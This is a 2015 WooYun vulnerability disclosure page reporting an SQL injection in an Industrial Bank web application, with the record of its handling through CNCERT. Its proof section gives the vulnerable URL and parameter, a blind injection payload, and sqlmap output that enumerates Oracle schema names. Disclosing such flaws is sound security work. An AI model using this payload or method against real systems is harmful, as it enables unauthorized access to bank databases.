当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-096894

漏洞标题：兴业银行某业务SQL注入漏洞之二

相关厂商：兴业银行

漏洞作者： 雅柏菲卡

提交时间：2015-02-12 09:11

修复时间：2015-03-29 09:12

公开时间：2015-03-29 09:12

漏洞类型：SQL注射漏洞

危害等级：中

自评Rank：8

漏洞状态：已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-02-12： 细节已通知厂商并且等待厂商处理中
2015-02-17： 厂商已经确认，细节仅向厂商公开
2015-02-27： 细节向核心白帽子及相关领域专家公开
2015-03-09： 细节向普通白帽子公开
2015-03-19： 细节向实习白帽子公开
2015-03-29： 细节向公众公开

简要描述：

.......

详细说明：

........

漏洞证明：

http://ccgolf.cib.com.cn/Match.Site/view.jsp?id=74492
GET parameter 'id' is vulnerable. Do you want to keep testing the others? [y/N] y
sqlmap identified the following injection points with a total of 36 HTTP(s) requests:
---
Place: GET
Parameter: id
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=74492 AND 3581=3581
---
[23:46:58] [INFO] testing MySQL
[23:47:00] [WARNING] the back-end DBMS is not MySQL
[23:47:00] [INFO] testing Oracle
[23:47:03] [INFO] confirming Oracle
[23:47:04] [INFO] the back-end DBMS is Oracle
web application technology: Nginx, JSP
back-end DBMS: Oracle
[23:47:04] [WARNING] schema names are going to be used on Oracle for enumeration as the counterpart to database names on other DBMSes
[23:47:04] [INFO] fetching database (schema) names
[23:47:04] [INFO] fetching number of databases
[23:47:04] [INFO] retrieved: 1[23:48:04] [CRITICAL] unable to connect to the target url or proxy, sqlmap is going to retry the request
2
[23:48:15] [INFO] retrieving the length of query output
[23:48:15] [INFO] retrieved: 11
[23:49:03] [INFO] retrieved: [23:49:33] [CRITICAL] unable to connect to the target url or proxy, sqlmap is going to retry the request
[23:49:43] [INFO] retrieved: ______3_2__ 3/11 (27%)[23:49:46] [CRITICAL] unable to connect to the target url or proxy, sqlmap is going to retry the request
[23:50:09] [INFO] retrieved: AP_X_03020_ 9/11 (82%)[23:50:16] [CRITICAL] unable to connect to the target url or proxy, sqlmap is going to retry the request
[23:50:25] [INFO] retrieved: APEX_030200
[23:50:25] [INFO] retrieving the length of query output
[23:50:25] [INFO] retrieved: 6
[23:51:12] [INFO] retrieved: [23:51:36] [CRITICAL] unable to connect to the target url or proxy, sqlmap is going to retry the request
[23:51:57] [INFO] retrieved: CTX_YS 5/6 (83%)[23:52:14] [CRITICAL] unable to connect to the target url or proxy, sqlmap is going to retry the request
[23:52:19] [INFO] retrieved: CTXSYS
[23:52:19] [INFO] retrieving the length of query output
[23:52:19] [INFO] retrieved: [23:52:45] [CRITICAL] unable to connect to the target url or proxy, sqlmap is going to retry the request
[23:53:07] [CRITICAL] unable to connect to the target url or proxy, sqlmap is going to retry the request
6
[23:53:21] [INFO] retrieved: [23:53:42] [CRITICAL] unable to connect to the target url or proxy, sqlmap is going to retry the request
[23:53:44] [CRITICAL] unable to connect to the target url or proxy, sqlmap is going to retry the request
[23:53:51] [INFO] retrieved: ___S__ 1/6 (17%)[23:53:51] [CRITICAL] unable to connect to the target url or proxy, sqlmap is going to retry the request
[23:54:01] [INFO] retrieved: E__S__ 2/6 (33%)[23:54:08] [CRITICAL] unable to connect to the target url or proxy, sqlmap is going to retry the request
[23:54:16] [INFO] retrieved: E__SYS 4/6 (67%)[23:54:16] [CRITICAL] unable to connect to the target url or proxy, sqlmap is going to retry the request
[23:54:22] [CRITICAL] unable to connect to the target url or proxy, sqlmap is going to retry the request
[23:54:41] [INFO] retrieved: EXFSYS
[23:54:41] [INFO] retrieving the length of query output
[23:54:41] [INFO] retrieved: [23:55:08] [CRITICAL] unable to connect to the target url or proxy, sqlmap is going to retry the request
5
[23:55:25] [INFO] retrieved: _____
估计有更长时间.........

修复方案：

..............

版权声明：转载请注明来源 雅柏菲卡@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：11

确认时间：2015-02-17 08:08

厂商回复：

最新状态：

暂无